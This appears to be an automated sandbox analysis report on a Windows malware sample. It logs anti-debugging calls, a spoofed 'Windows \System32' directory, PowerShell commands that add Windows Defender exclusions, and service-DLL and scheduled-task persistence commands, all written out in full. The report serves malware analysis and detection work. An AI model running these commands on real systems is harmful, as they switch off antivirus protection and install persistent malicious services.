Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_26-81271

Source: C:\Windows\System32\svchost.exe

Code function: 26_2_649461C0 IsDebuggerPresent,RaiseException,

26_2_649461C0

Source: C:\Windows\System32\console_zero.exe

Code function: 32_2_00007FFBBAF9FC30 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

32_2_00007FFBBAF9FC30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows \System32\printui.exe	Code function: 13_2_00007FF616B11880 SetUnhandledExceptionFilter,	13_2_00007FF616B11880
Source: C:\Windows \System32\printui.exe	Code function: 13_2_00007FF616B11B5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FF616B11B5C
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_64947650 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_64947650
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6828C940 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	26_2_6828C940
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_68295201 SetUnhandledExceptionFilter,	26_2_68295201
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682A14E8 SetUnhandledExceptionFilter,	26_2_682A14E8
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0499E8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00007FFBAB0499E8
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB03BFA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FFBAB03BFA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49EE70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FFBAB49EE70
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2BAE2C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_00007FF70F2BAE2C
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2ADEB0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_00007FF70F2ADEB0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFBA8B4 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_00007FFBBAFBA8B4
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB9E30 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_00007FFBBAFB9E30

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: x549596.dat.26.dr

Jump to dropped file

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows \System32\printui.exe "C:\Windows \System32\printui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 10 /nobreak	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create x939048 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add HKLM\SYSTEM\CurrentControlSet\services\x939048\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x939048.dat" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc start x939048	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\console_zero.exe "C:\Windows\System32\console_zero.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 14 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 16 /nobreak
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'F:\'

Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x939048 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x939048\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x939048.dat" /f && sc start x939048
Source: C:\Windows \System32\printui.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c sc create x939048 binpath= "c:\windows\system32\svchost.exe -k dcomlaunch" type= own start= auto && reg add hklm\system\currentcontrolset\services\x939048\parameters /v servicedll /t reg_expand_sz /d "c:\windows\system32\x939048.dat" /f && sc start x939048			Jump to behavior

Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesA,	26_2_682952B9
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoA,	26_2_68295290
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesA,	26_2_682A1430
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoA,	26_2_682A1460
Source: C:\Windows\System32\svchost.exe	Code function: strtoul,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,strncmp,	26_2_682864E0
Source: C:\Windows\System32\svchost.exe	Code function: strchr,pthread_mutex_lock,strcmp,strncpy,EnumSystemLocalesA,pthread_mutex_unlock,strcpy,pthread_mutex_unlock,abort,	26_2_68287D70
Source: C:\Windows\System32\svchost.exe	Code function: getenv,GetLocaleInfoA,	26_2_68286680
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	26_2_00007FFBAB064C8C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	26_2_00007FFBAB056B5C
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesEx,	26_2_00007FFBAB056A8C
Source: C:\Windows\System32\svchost.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	26_2_00007FFBAB056FB8
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	26_2_00007FFBAB064E84
Source: C:\Windows\System32\svchost.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	26_2_00007FFBAB064424
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,FormatMessageA,	26_2_00007FFBAB03A128
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	26_2_00007FFBAB064858
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	26_2_00007FFBAB064788
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesW,	26_2_00007FFBAB05667C
Source: C:\Windows\System32\console_zero.exe	Code function: AreFileApisANSI,EnumSystemLocalesEx,GetDateFormatEx,GetLocaleInfoEx,GetTimeFormatEx,GetUserDefaultLocaleName,IsValidLocaleName,LCMapStringEx,LCIDToLocaleName,LocaleNameToLCID,	32_2_00007FF70F2C1B08
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoEx,GetLocaleInfoW,	32_2_00007FF70F2C17A0
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesEx,	32_2_00007FF70F2C16D0
Source: C:\Windows\System32\console_zero.exe	Code function: EnumSystemLocalesW,	32_2_00007FF70F2C142C
Source: C:\Windows\System32\console_zero.exe	Code function: GetLocaleInfoEx,FormatMessageA,	32_2_00007FF70F2AC2E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
